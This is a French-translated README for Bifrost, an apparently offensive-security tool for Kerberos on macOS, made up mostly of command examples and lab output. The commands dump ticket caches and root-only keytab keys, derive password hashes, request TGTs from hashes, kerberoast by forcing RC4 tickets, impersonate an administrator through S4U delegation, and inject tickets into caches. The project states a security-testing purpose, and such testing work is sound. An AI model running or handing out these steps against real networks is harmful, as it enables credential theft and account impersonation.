
Bibliothèque Objective-C et console pour interagir avec les API Heimdal pour Kerberos sous macOS
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(__/'()() () \___/'(____/_)
Usage: ./bifrost -action [dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove] For dump action: -source [tickets | keytab] for keytab, optional -path to specify a keytab for tickets, optional -name to specify a ccache entry to dump For list action: no other options are necessary For askhash action: -username a.test -password 'mypassword' -domain DOMAIN.COM optionally specify -enctype [aes256 | aes128 | rc4] or get all of them optionally specify -bpassword 'base64 of password' in case there might be issues with parsing or special characters For asktgt action: -username a.test -domain DOMAIN.COM if using a plaintext password, specify -password 'password' if using a hash, specify -enctype [aes256 | aes128 | rc4] -hash [hash_here] optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 if using a keytab, specify -enctype and -keytab [keytab path] to pull a specific hash from the keytab optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 For describe action: -ticket base64KirbiTicket For asktgs action: -ticket [base64 of TGT] -service [comma separated list of SPNs] optionally specify -connectDomain to connect to a domain other than the one specified in the ticket optionally specify -serviceDomain to request a service ticket in a domain other than the one specified in the ticket optionally specify -kerberoast true to indicate a request for rc4 instead of aes256 For s4u: -ticket [base64 of TGT] -targetUser [target user in current domain, or targetuser@domain for a different domain] -spn [target SPN] (if this isn't specified, just a forwardable S4U2Self ticket is requested as targetUser) optionally specify -connectDomain [domain or host to connect to] For ptt: -ticket [base64 of kirbi ticket] optionally specify -name [name] to import the ticket into a specific credential cache optionally specify -name new to import the ticket into a new credential cache For remove: for tickets: -source tickets -name [name here] (removes an entire ccache) for keytabs: -source keytab -principal [principal name] (removes all entries for that principal) for keytabs: optionally specify -name to not use the default keytab you can't remove a specific ccache principal entry since it seems to not be implemented in heimdal
# Table des matières
- [Aperçu](#overview)
- commandes
- [list](#list)
- [dump](#dump)
- [tickets](#tickets)
- [keytab](#keytab)
- [askhash](#askhash)
- [asktgt](#asktgt)
- [avec mot de passe en clair](#with-plaintext-password)
- [avec hash](#with-hash)
- [avec entrée keytab](#with-keytab-entry)
- [describe](#describe)
- [asktgs](#asktgs)
- [différents domaines](#different-domains)
- [kerberoasting](#kerberoasting)
- [s4u](#s4u)
- [ptt](#ptt)
- [remove](#remove)
- [cache d'identifiants](#credential-cache)
- [entrée keytab](#keytab-entry)
## Aperçu
Bifrost est un projet Objective‑C conçu pour interagir avec les API Heimdal krb5 sur macOS. Bifrost se compile en une bibliothèque statique (mais vous pouvez la transformer en dylib si nécessaire), et bifrostconsole est un simple projet console qui utilise la bibliothèque Bifrost. L’objectif du projet est de permettre de meilleurs tests de sécurité autour de Kerberos sur les appareils macOS en utilisant les API natives, sans nécessiter d’autre framework ou paquet sur la cible.
Comme cette compilation doit être effectuée sur un Mac, et que cela peut ne pas être accessible à tout le monde à des fins de test, j’ai inclus une version compilée de la console et de la bibliothèque dans le dossier « compiled_binaries ». Comme il s’agit de versions pré‑compilées, attendez‑vous à ce qu’elles soient fortement signées et qu’elles ne soient utilisables qu’à des fins de tests personnels.
## list
La commande `-action list` parcourt tous les caches d’identifiants en mémoire et donne des informations de base sur chaque cache et chaque entrée qu’il contient. Elle identifie également le cache par défaut avec le marqueur `[*]` et chaque autre cache avec le marqueur `[+]`.```
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Principal: [email protected]
Name: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
Issued Expires Principal Flags
2019-11-13 18:00:20PST 2019-11-14 04:00:20PST krbtgt/[email protected] (forwardable renewable initial pre-auth )
1970-12-31 16:00:00PST 2019-12-13 18:00:21PST krb5_ccache_conf_data/kcm-status@X-CACHECONF: ()
La commande -action dump peut extraire des informations sur les keytabs ou les caches d'identifiants en fonction des indicateurs.
Pour vider spécifiquement les tickets, utilisez -source tickets. Par défaut, cela ne parcourra que le cache d'identifiants par défaut. Le cache d'identifiants par défaut peut être identifié avec la commande -action list en cherchant le cache marqué par un [*]. Pour vider un cache d'identifiants spécifique, utilisez l'indicateur -name [name here].
Chaque ticket sera décrit et vidé dans un format Kirbi base64 qui pourra ensuite être utilisé pour d'autres commandes ou avec d'autres outils sur Windows.``` spooky:~ lab_admin$ ./bifrost -action dump -source tickets
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Client: [email protected] Principal: krbtgt/LAB.[email protected] Key enctype: aes256 Key: DUpykxCguZ9JtWML38nygb5Yyhvd1nGvy+MGReD7sXU= (0D4A729310A0B99F49B5630BDFC9F281BE58CA1BDDD671AFCBE30645E0FBB175) Expires: 2019-11-14 12:00:20 GMT Flags: forwardable renewable initial pre-auth Kirbi: doIFIDCCBRygBgIEAAA<...snip...>TE9DQUw=
Client: [email protected] Principal: krb5_ccache_conf_data/kcm-status@X-CACHECONF: Key enctype: 0 Key: () Expires: 2019-12-14 02:00:21 GMT Flags: Principal type: kcm-status Ticket Data: a3JiNQAAAAEAAAAA
### keytab
Pour vider les clés keytab, utilisez le paramètre `-source keytab`. Par défaut, cela tentera de vider les informations du keytab par défaut (`/etc/krb5.keytab`), qui n'est lisible que par root. Pour spécifier un autre keytab, utilisez l'argument `-path /path/to/keytab`.
Chaque entrée du keytab sera décrite et la clé sera vidée en base64 et hexadécimal.```
spooky:~ lab_admin$ ./bifrost -action dump -source keytab -path test
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving keytab path
[+] Successfully opened keytab
[+] principal: [email protected]
Entry version: 3
Key enctype: aes256
Key: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
Timestamp: 2019-11-10 04:58:09 GMT
bash-3.2$ sudo ./bifrost -action dump -source keytab
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving default keytab path
[+] Successfully opened keytab
[+] principal: afpserver/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
Entry version: 2
Key enctype: aes256
Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
Timestamp: 2018-10-27 03:26:13 GMT
[+] principal: cifs/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
Entry version: 2
Key enctype: aes256
Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
Timestamp: 2018-10-27 03:26:13 GMT
<...snip...>
[+] principal: [email protected]
Entry version: 2
Key enctype: rc4
Key: A12AD40BD124E6A9A14D65504E8EA30A
Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
Entry version: 2
Key enctype: aes256
Key: C1BF6861A00B35A97483E820863FAD4ED57831D935DBFE2D501727C678503F73
Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
Entry version: 2
Key enctype: aes128
Key: 1F44A5E5C7919C00F3166A1344D4FFDA
L'action -action askhash calculera les hachages nécessaires utilisés pour demander des TGT et déchiffrer les réponses. Cette commande nécessite le mot de passe en clair avec -password [mot de passe ici], mais si le mot de passe contient des caractères spéciaux pouvant poser problème, vous pouvez toujours fournir une version encodée en base64 du mot de passe avec -bpassword [mot de passe en base64 ici]. Vous devez également fournir les paramètres -username [nom d'utilisateur] et -domain fqdn afin que le bon sel puisse être généré.
Si vous souhaitez obtenir les hachages pour un compte computer$, assurez-vous d'inclure le $ dans le nom d'utilisateur. Le sel pour un compte machine est différent du sel pour un compte utilisateur.```
spooky:~ lab_admin$ ./bifrost -action askhash -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Username: lab_admin Password: abc123!!! Domain: LAB.LOCAL Salt: LAB.LOCALlab_admin
Keys: AES128: CFE28C26EAF8DE4A0A2AE0CC69E6EB6B AES256: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 RC4 : 8C1A1B4466CB7F145CAB016435B893EF
## asktgt
La commande `-action asktgt` prendra un mot de passe en clair, un hash ou une entrée keytab et demandera un TGT au contrôleur de domaine.
### avec mot de passe en clair
Pour utiliser un mot de passe en clair, vous devez fournir `-username [username]` et `-domain [fqdn]` en plus de `-password [password]`. Si le mot de passe contient des caractères spéciaux pouvant causer des problèmes, fournissez plutôt `-bpassword [base64 du mot de passe]`. Cela utilisera les API de connexion Kerberos pour demander un TGT normalement et le stocker dans un nouveau cache d'identifiants. Bifrost extraira ensuite le ticket de ce cache et supprimera le cache.```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Requesting principal: [email protected]
[*] Requesting password: abc123!!!
[*] Creating TGT Request for [email protected]
[*] Requesting TGT into temporary CCache
[+] Successfully got TGT into new CCache: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[*] Dumping ticket from new CCache and removing entry
Client: [email protected]
Principal: krbtgt/[email protected]
Key enctype: aes256
Key: lFfEz+OGE0IrlRiNbqN3KbkH1cC0Sb28eVJ8V2yp3EM= (9457C4CFE38613422B95188D6EA37729B907D5C0B449BDBC79527C576CA9DC43)
Expires: 2019-11-14 12:28:25 GMT
Flags: forwardable initial pre-auth
Kirbi:
doIFDTCCBQm<...snip...>TA==
[+] Removed CCache entry: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[+] Successfully obtained Kerberos ticket for principal lab_admin.
Pour utiliser un hash, vous devez fournir -username [nom_utilisateur] et -domain [fqdn] en plus de -hash [hash_ici] et -enctype [aes256|aes128|rc4|des3]. Avec seulement ces paramètres, Bifrost construira manuellement le trafic Kerberos ASN1 et se connectera à [fqdn] sur le port 88 pour demander un TGT AES256 (en listant spécifiquement aes256, aes128 et rc4 comme types de chiffrement de retour valides). Ceci peut bien sûr être modifié. Spécifier le drapeau -supportAll false ajustera le trafic afin que le seul type de réponse de chiffrement pris en charge soit le même que celui du hash. Alternativement, vous pouvez spécifier -tgtEnctype [aes256|aes128|rc4] pour demander un TGT d'un type de chiffrement spécifique, indépendamment du type de hash fourni.```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -hash 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 -tgtEnctype rc4
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[] Requesting hash type: 23 [] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [+] Successfully sent ASREQ [+] Successfully received ASREP [] Describing ticket Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:33:11 GMT End: 2019-11-14 12:33:11 GMT Renew: 2019-11-21 02:33:11 GMT Key Type: ARCFOUR_HMAC Key Value: P7EYn0Y5BFcE7o0gONzEhQ== (3FB1189F4639045704EE8D2038DCC485) Flags: forwardable renewable initial pre-auth [] Creating Kirbi: doIFADCCBPygBgI<...snip...>FCLkxPQ0FM
### avec entrée keytab
Pour utiliser un keytab, vous devez fournir `-username [nom d'utilisateur]` et `-domain [fqdn]` en plus de `-enctype [aes256|aes128|rc4]` et `-keytab [chemin vers keytab]`. Bifrost ouvrira alors le keytab et recherchera l'entrée correspondant au nom d'utilisateur, au domaine et au type de chiffrement fournis, puis extraira ce hachage. Avec ces seuls paramètres, Bifrost construira un trafic ASN1 Kerberos manuel et se connectera à `[fqdn]` sur le port 88 pour demander un TGT AES256 (en listant spécifiquement aes256, aes128 et rc4 comme types de chiffrement de retour valides). Ceci peut bien sûr être modifié. Spécifier le drapeau `-supportAll false` ajustera le trafic afin que le seul type de réponse de chiffrement pris en charge soit le même que celui du hachage. Vous pouvez également spécifier `-tgtEnctype [aes256|aes128|rc4]` pour demander un TGT d'un type de chiffrement spécifique, indépendamment du type de hachage fourni.```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -keytab test
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving keytab path: test
[+] Successfully opened keytab
[*] Searching for principal: [email protected]
[*] Found match, retrieving key
[+] Using hash: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent ASREQ
[+] Successfully received ASREP
[*] Describing ticket
Client: [email protected]
Principal: krbtgt/[email protected]
Start: 2019-11-14 02:35:16 GMT
End: 2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3)
Flags: forwardable renewable initial pre-auth
[*] Creating Kirbi:
doIFIDCCBR<...snip...>DQUw=
La commande -action describe extraira les informations d'un fichier Kirbi. Vous devez fournir -ticket [base64 du ticket Kirbi].```
spooky:~ lab_admin$ ./bifrost -action describe -ticket doIFIDCCBRygBgIEAA<...snip...>Uw=
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:35:16 GMT End: 2019-11-14 12:35:16 GMT Renew: 2019-11-21 02:35:16 GMT Key Type: AES256_CTS_HMAC_SHA1_96 Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3) Flags: forwardable renewable initial pre-auth
## asktgs
La commande `-action asktgs` demande au KDC un ticket de service basé sur un TGT fourni. Vous devez fournir `-ticket [base64 du kirbi TGT]` et `-service [spn,spn,spn]`.```
spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIFIDC<...snip...>Uw= -service cifs/dc1-lab.lab.local,host/dc1-lab.lab.local
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to cifs/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]
Principal: cifs/[email protected]
Start: 2019-11-14 02:43:39 GMT
End: 2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: ARCFOUR_HMAC
Key Value: 06IYcTPmajAEvXCjTim9lA== (D3A2187133E66A3004BD70A34E29BD94)
Flags: forwardable renewable pre-auth
[*] Creating Kirbi:
doIFEDCCBQ<...snip...>A==
[+] Successfully got service ticket
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to host/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: host/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]
Principal: host/[email protected]
Start: 2019-11-14 02:43:39 GMT
End: 2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: JGWDGXrjkzMD5Tr4dv+b6a5fR97IY8ycwoz1bHsywJw= (246583197AE3933303E53AF876FF9BE9AE5F47DEC863CC9CC28CF56C7B32C09C)
Flags: forwardable renewable pre-auth ok-as-delegate
[*] Creating Kirbi:
doIFL<...snip...>w=
[+] Successfully got service ticket
Par défaut, Bifrost consulte le TGT pour obtenir des informations sur le domaine auquel se connecter et sur le domaine du service. Si l'un ou l'autre de ces éléments diffère du TGT, vous pouvez les spécifier manuellement avec -connectDomain [domaine de connexion] et -serviceDomain [domaine du service]. Par défaut, Bifrost indique que les types de chiffrement aes256, aes128 et rc4 pour le service résultant sont acceptables (vous obtiendrez donc très probablement un ticket de service aes256).
Si vous ne souhaitez pas obtenir un ticket de service aes256, mais plutôt quelque chose de plus cassable, vous pouvez spécifier le flag -kerberoast true pour indiquer que le ticket de service résultant doit être rc4.```
spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [] Requesting service ticket to host/dc1-lab.lab.local as lab_admin [+] Successfully sent TGSREQ [+] Successfully received TGSREP [+] Parsing TGS-REP Client Domain: LAB.LOCAL Requesting account: lab_admin Requested Service: host/dc1-lab.lab.local Ticket Encryption: 23 [] Describing ticket Client: [email protected] Principal: host/dc1-[email protected] Start: 2019-11-14 02:49:01 GMT End: 2019-11-14 12:46:50 GMT Renew: 2019-11-21 02:46:50 GMT Key Type: ARCFOUR_HMAC Key Value: j3VcAqIgsLI38a4aqi0jOw== (8F755C02A220B0B237F1AE1AAA2D233B) Flags: forwardable renewable pre-auth ok-as-delegate [] Creating Kirbi: doIFE<...snip...>A== [+] Successfully got service ticket
## s4u
La commande `-action s4u` utilise la délégation contrainte basée sur les ressources. Vous devez spécifier `-ticket [base64 of TGT]`, `-targetUser [nom d'utilisateur]` (si l'utilisateur est dans un autre domaine que celui pour lequel le TGT est émis, spécifiez l'utilisateur cible comme `[email protected]`). À ce stade, Bifrost exécutera uniquement le processus S4U2Self. Pour compléter le processus et également effectuer S4U2Proxy, spécifiez en plus `-spn [spn cible]`. Si vous devez vous connecter à un domaine différent de celui spécifié dans le TGT, vous pouvez spécifier `-connectDomain [fqdn]`. Cette séquence élaborera à nouveau un trafic Kerberos ASN1 manuel sur le port 88.```
*** Using the TGT of the "alice" account, which has an SPN set (HTTP/spooky.lab.local) and has the userAccountControl flag for TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION set to true (0x1000000) and has msDS-AllowedToDelegateTo set to the SPN of cifs/dc1-lab.lab.local ***
spooky:~ lab_admin$ ./bifrost -action s4u -targetUser lab_admin -spn cifs/dc1-lab.lab.local -ticket doIF<...snip...>QUw=
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to alice as lab_admin
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: alice
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: [email protected]
Start: 2019-11-14 04:17:45 GMT
End: 2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: ARCFOUR_HMAC
Key Value: MV4AR2rIg23e8uj0LmuP4w== (315E00476AC8836DDEF2E8F42E6B8FE3)
Flags: forwardable renewable pre-auth
[*] Creating Kirbi:
doIFQD<...snip...>ZQ==
[*] Impersonating [email protected] to service cifs/[email protected] via S4U2Proxy
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: cifs/[email protected]
Start: 2019-11-14 04:17:45 GMT
End: 2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: qvO9Rh88ju+LlobxDwdS9fAy9MjqVg/FOfS/RCxVOlo= (AAF3BD461F3C8EEF8B9686F10F0752F5F032F4C8EA560FC539F4BF442C553A5A)
Flags: forwardable renewable pre-auth ok-as-delegate
[*] Creating Kirbi:
doIG<...snip...>9jYWw=
Vous pouvez maintenant utiliser ce dernier ticket Kirbi pour accéder à cifs/dc1-lab.lab.local en tant que lab_admin même si le TGT utilisé pour l'ensemble du processus était celui de LAB\alice.
La commande -action ptt prend un ticket (TGT ou ticket de service) et l'importe dans un cache d'identifiants spécifié ou crée un nouveau cache d'identifiants. Vous devez spécifier -ticket [base64 du ticket] et soit -name [nom complet du cache d'identifiants] pour ajouter le ticket au cache spécifié, soit -name new pour créer un nouveau cache d'identifiants et y importer le ticket.```
spooky:~ lab_admin$ ./bifrost -action list
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
spooky:~ lab_admin$ ./bifrost -action ptt -cache new -ticket doI<...snip...>QUw=
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[+] Successfully parsed Kirbi data [] Converting ticket to ccache cred [+] Successfully converted ticket to ccache cred [] Creating new ccache [*] Saving credential for krbtgt/LAB.LOCAL [+] Successfully imported credential spooky:~ lab_admin$ ./bifrost -action list
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[*] Principal: [email protected] Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F Issued Expires Principal Flags 2019-11-13 18:58:06PST 2019-11-14 04:58:06PST krbtgt/LAB.[email protected] (forwardable renewable initial pre-auth )
## remove
La commande `-action remove` supprime les caches ou les entrées keytab.
### cache d'identifiants
Pour supprimer un cache d'identifiants, vous devez spécifier `-source tickets` et `-name [nom du cache ici]`. Cela supprime tout le cache. D'après ce que je peux dire avec les API krb5 Heimdal, vous ne pouvez pas supprimer une entrée d'identifiant spécifique - le MITKerberosShim signale que les fonctions requises ne sont pas implémentées.```
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Principal: [email protected]
Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
Issued Expires Principal Flags
2019-11-13 18:58:06PST 2019-11-14 04:58:06PST krbtgt/[email protected] (forwardable renewable initial pre-auth )
spooky:~ lab_admin$ ./bifrost -action remove -source tickets -name API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving CCache name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
[+] Successfully resolved CCache name
[+] Successfully removed CCache
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
spooky:~ lab_admin$
Pour supprimer un principal d'un keytab, vous devez spécifier -source keytab et -principal [nom du principal]. Par défaut, cela recherchera le principal dans le keytab par défaut, mais si vous souhaitez utiliser un keytab spécifique, spécifiez-le avec -name [chemin vers keytab].